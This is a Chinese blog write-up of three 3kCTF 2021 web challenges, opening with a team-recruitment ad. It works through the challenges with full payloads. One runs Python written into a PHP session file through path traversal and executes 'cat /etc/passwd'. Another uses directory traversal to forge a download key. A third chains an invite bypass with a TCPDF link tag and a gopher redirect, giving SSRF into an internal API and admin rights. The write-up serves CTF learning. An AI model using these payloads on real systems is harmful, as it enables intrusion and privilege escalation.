3kCTF2021
2021-05-21 10:05:00
wp - 3kctf
AD
一段时间没打国际赛,最近陆队正在组建一支打国际赛的战队,我也混进去划了一下水,上周末我们也打了第一场国际赛试试水(虽然我在打国赛没怎么看题目),不过初次试水师傅们都很给力,个人认为成绩还算可以(No.9):
可以看到截图中出现的两支国内战队虽然也挺猛的,不过这俩支都是高校队伍,不允许外校加入,因此在这里我也给战队打个广告,路过的师傅可以看看:https://blog.zeddyu.info/advertisement/
感兴趣的师傅可以联系陆队:zeddyu.lu@gmail.com
或者想了解具体的也可以先找我问问情况:756379684@qq.com
Ps.上述排行榜不是3kctf,是omh ctf,wp我写的比较烂就不分享了,具体可以到陆队的知识星球里面看(白嫖党给陆队再打个广告)。
online_compiler
Compile & run your code with the 3k online compiler. Our online compiler supports multiple programming languages like Php, Python,... Link Attachment
一个py写的在线php编译器功能如下:
给了源码先稍作审计:
代码语言:javascript复制@app.route('/save',methods = ['POST'])
@cross_origin()
def save():
c_type=request.form['c_type']
print('ctype-(>' c_type)
if (c_type == 'php'):
code=request.form['code']
if (len(code)<100):
filename=get_random_string(6) '.php'
path='/home/app/test/' filename
f=open(path,'w')
f.write(code)
f.close()
return filename
else:
return 'failed'
"""elif (c_type == 'python'):
code=request.args.get('code')
if (len(code)<30):
filename=get_random_string(6) '.py'
path='/home/app/testpy/' filename
f=open(path,'w')
f.write(code)
f.close()
return filename
else:
return 'failed'"""
@app.route('/compile',methods = ['POST'])
@cross_origin()
def compile():
c_type=request.form['c_type']
filename=request.form['filename']
if (c_type == 'php'):
if (filename[-3:]=='php'):
if (check_file('/home/app/test/' filename)):
path='/home/app/test/' filename
cmd='php -c php.ini ' path
p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate()
return stdout
else:
return 'failed'
else:
return 'noop'
elif (c_type == 'python'):
if (filename[-2:]=='py'):
if (check_file('/home/app/test/' filename)):
cmd='python3 ' filename
p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate()
return stdout
else:
return 'failed'
else:
return 'noop'
当点击compile按钮时发生的事情如下:
save路由接受c_type以及code两个参数,当c_type为php时将code保存到对应的php文件中,而compile路由同样接受c_type参数,额外的还有一个filename参数,其通过调用Popen来执行对应的解释器去执行对应filename中的代码,而其允许执行php或者python代码,同时filename可以指定为服务器上的任意一个文件。
同时有个点就是它判断文件后缀是采用的数组切片的方式,如:filename[-2:]
,也就是说不需要真实地存在有py后缀,因此可以选择如hhhmpy这种文件,同时python解释器也能够执行这种文件。
在调用php解释器时指定了一个php.ini的配置文件,而python调用py文件显示没有任何函数的禁用,并且在给出的附件中同样给出了该文件,稍加思考会明白它是给出了disable_function,那么是否是从dis_func中找出函数来bypass,稍加diff发现session可能可以被利用:
同时在ini文件中找到了session存储路径为session.save_path = "/tmp"
。
本地试一下:
代码语言:javascript复制<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
$_SESSION['count'] = 0;
} else {
$_SESSION['count'] ;
}
?>
sess_hhhmpy:
代码语言:javascript复制|s:1:"1";count|i:2;
尝试写python:
代码语言:javascript复制<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
$_SESSION['count'] = 0;
} else {
$_SESSION['count'] = "
import os
os.system('cat /etc/passwd')
";
}
?>
sess_hhhmpy:
代码语言:javascript复制count|s:42:"
import os
os.system('cat /etc/passwd')
";
很显然这种文件无法执行,需要把第一行及最后面的代码注释一下:
代码语言:javascript复制<?php
session_id("hhhmpy");session_start();$_SESSION["#"]="
import os
os.system('cat /etc/passwd')#";?>
得到:
代码语言:javascript复制#|s:40:"
import os
os.system('cat /etc/passwd')#";
Post:
代码语言:javascript复制http://onlinecompiler.2021.3k.ctf.to:5000/compile
c_type=python&filename=../../../../../../../tmp/sess_hhhmpy
当然了在查看其他人的wp时发现还有如使用FFi来bypass:
代码语言:javascript复制<?php $ffi=FFI::cdef("int system(const char *command);");$ffi->system('{}');?>
Emoji
browse some emojis Challenge Attachment
给出附件:
代码语言:javascript复制<?php
$secret = "*REDACTED*";
$flag = "3k{*REDACTED*}";
function fetch_and_parse($page){
$a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
preg_match_all("/<img src="(.*?)">/", $a,$ma);
return $ma;
}
$url = @$_GET['url'];
$key = @$_GET['key'];
$dir = @$_GET['dir'];
if($dir){
$emojiList = fetch_and_parse($dir);
}elseif ($url AND $key) {
if($key === hash_hmac('sha256', $url, $secret)){
$d = "bash -c "curl -o /dev/null ".escapeshellarg("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$url)." "";
exec($d);
echo '<script>alert("file download requested");</script>';
}else{
echo '<script>alert("incorrect download key");</script>';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA 058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<title>Emoji</title>
</head>
<body>
<h1>Emoji</h1>
<div class="card-deck">
<div class="card">
<div class="card-body">
<h5 class="card-title"><a href="?dir=eggs">Eggs</a> <a href="?dir=parrot">Parrots</a> <a href="?dir=pepe">Pepe</a></h5>
<p class="card-text">
<?php
if(@$emojiList){
foreach ($emojiList[1] as $k => $v) {
echo '<a href="?url='.$v.'&key='.hash_hmac('sha256', $v, $secret).'"><img width=100 src="https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/'.$v.'" ></a>';
}
}
?>
</p>
</div>
</div>
</div>
</body>
</html>
可以看到这一个fetch:
代码语言:javascript复制function fetch_and_parse($page){
$a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
preg_match_all("/<img src="(.*?)">/", $a,$ma);
return $ma;
}
实际上存在着目录遍历,因此可以在git上创建一个仓库,放置一个存在img标签的html页面,然后使用目录遍历:
代码语言:javascript复制?dir=../../../../../../../a756379684/3kctfemoji/main/emoji
此时可以得到对应的key:
可以在webhook上收到请求:
ppaste
描述
We've launched our first bugbounty program, Our triage team is eager to hear about your findings ! Bounty Program Check assets in scope and whether you can leak a flag Note: - You need account at intigriti.com to view the scope - Submit flag here to get CTF points - Submit a report at intigriti gets you reputation points at intigriti Hints
- json inconsistencies
在intigriti上注册后能够得到一个scope:
ppaste is an internal tool we use to share pastes, and where we also store a flag, we're most interested if that could be leaked. URL : https://ppaste.2021.3k.ctf.to/ SOURCE : https://github.com/rekter0/ctf/tree/main/2021-3kCTF/web/ppaste/ppaste
给出了源码先审计,首先整体架构分为两个app:
- python,从ppaste.db中取数据,是一个接口,但其挂载在127.0.0.1的8082端口中
- php,同样是一个接口程序,但其挂载在80端口中并且映射出外网的端口中
那么入口点毫无疑问是这个php接口程序,首先需要注册账号,但账号的注册需要一个邀请码。
代码审计
首先看到注册处:
代码语言:javascript复制 case 'register':
if(@$data['d']['user'] AND @$data['d']['pass']){
if(!@$data['d']['invite']) puts(0);
$checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
if($checkInvite===FALSE) puts(0);
if(uExists($data['d']['user'])) puts(0);
$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
if($db->lastInsertRowID()){
puts(1);
}else{
puts(0);
}
}
puts(0);
break;
checkinvite会调用到python接口,其调用代码位于common.php中:
代码语言:javascript复制function qInternal($endpoint,$payload=null){
$url = 'http://localhost:8082/'.$endpoint;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
if($payload!==null){
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
return(@$result?$result:'false');
}
用的是curl发包去请求invites路由:
代码语言:javascript复制@app.route('/invites', methods=['GET', 'POST'])
def invites():
if request.method == 'POST':
myJson = json.loads(request.data)
if(myJson['invite'] in open('/var/www/invites.txt').read().split('n')):
return json.dumps(True)
else:
return json.dumps(False)
return json.dumps(open('/var/www/invites.txt').read().split('n'))
json_encode小trick
首先是php接口中的绕过,json_encode在处理INF时会返回一个false,如下:
代码语言:javascript复制<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)
那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:
代码语言:javascript复制return(@$result?$result:'false');
此时得到了一个NULL:
代码语言:javascript复制<?php
var_dump(json_decode("NULL",true));
//NULL
ssrf
在随意添加文章后, 文章详细页有个下载pdf,在测试html标签放入标题时,发现可以成功解析到,标题处的逻辑中有一行代码:
代码语言:javascript复制$data['d']['title'] = preg_replace("/s /", "", $data['d']['title']);
会去掉空格,尝试了一下:
代码语言:javascript复制<img/src="http://vps">
貌似不行,是不支持img标签?跟一下下载pdf的逻辑,找到download路由:
代码语言:javascript复制case 'download':
if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
//some useless code....
}
if($data['d']['type']==='_pdf'){
require_once('../TCPDF/config/tcpdf_config.php');
require_once('../TCPDF/tcpdf.php');
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetFont('helvetica', '', 9);
$pdf->AddPage();
$html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
$pdf->writeHTML($html, true, 0, true, 0);
$pdf->lastPage();
$pdf->Output(sha1(time()).'.pdf', 'D');
exit;
}
}
puts(0);
break;
因为是跟html解析有关系,所以优先选择跟入writeHTML:
代码语言:javascript复制public function writeHTML(...){
$dom = $this->getHtmlDomArray($html);
}
其中调用了getHtmlDomArray,同样跟入看看:
代码语言:javascript复制protected function getHtmlDomArray($html) {
$matches = array();
if (preg_match_all('/<link([^>]*)>/isU', $html, $matches) > 0) {
foreach ($matches[1] as $key => $link) {
$type = array();
if (preg_match('/type[s]*=[s]*"text/css"/', $link, $type)) {
$type = array();
preg_match('/media[s]*=[s]*"([^"]*)"/', $link, $type);
// get 'all' and 'print' media, other media types are discarded
// (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
$type = array();
if (preg_match('/href[s]*=[s]*"([^"]*)"/', $link, $type) > 0) {
// read CSS data file
$cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
$css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
}
}
}
}
}
}
}
TCPdf中解析超链接的一个标签link,它会先匹配页面中所有符合外层正则link的html:
提取出link标签内的内容后再进入下一个正则:
之后就是一个href,因此我们的link标签需要满足如下:
此处的正则是逐层提取出匹配内容,因此会发现无需要空格,而提取出url后会进入到一个filegetcontents函数,这是最引人注意的地方:
跟入:
进入到file_exists:
代码语言:javascript复制public static function file_exists($filename) {
if (preg_match('|^https?://|', $filename) == 1) {
return self::url_exists($filename);
}
if (strpos($filename, '://')) {
return false; // only support http and https wrappers for security reasons
}
return @file_exists($filename);
}
此处只允许使用http或https协议,之后就进入到了如下的if:
代码语言:javascript复制if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}
满足open_basedir==''
和没有设置safe_mode
即支持重定向,而恰好这两个是php中的默认配置,至此就可以使用gopher协议打内网的flask的,不过目的是getflag,先找一下获取flag的条件。
寻找一下flag,会发现api.php中有如下:
代码语言:javascript复制 case 'admin':
$tU=whoami();
if(!@$tU OR @$tU['priv']!==1) puts(0);
$ret["invites"]=json_decode(qInternal("invites"),true);
$ret["users"] =json_decode(qInternal("users"),true);
$ret["flag"] =$flag;
puts(1,$ret);
break;
这一个priv在注册账号时默认是赋值为0的,全局搜索一下能够找到flask下的users路由:
代码语言:javascript复制@app.route('/users', methods=['GET', 'POST'])
def users():
if request.method == 'POST':
myJson = json.loads(request.data)
if(myJson['user']):
qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
return json.dumps(True)
else:
return json.dumps(False)
return json.dumps(qDB("SELECT user,priv FROM users"))
这里对priv做了not操作,因此,只需要传入一个存在user键的json串即可,即:
代码语言:javascript复制{"user":"hhhm123"}
在vps上放置跳转
代码语言:javascript复制location: gopher://localhost:8082/_POST /users HTTP/1.1
Host: localhost
Content-Length: 18
Content-type: application/json
{"user":"hhhm123"}
link:
代码语言:javascript复制<linktype="text/css"href="https://phptest.a756379684.repl.co">
之后就是访问admin的api即可:
总结
首先是一个php的json解析错误的小trick,然后是从php的TCPDF函数包中寻找到可以进行ssrf的tag,该tag在解析超链接时使用了curl,而在采用了php默认配置的情况下其curl允许链接的重定向,将重定向指向一个gopher协议打内网flask应用的payload。
本文原创于HhhM的博客,转载请标明出处。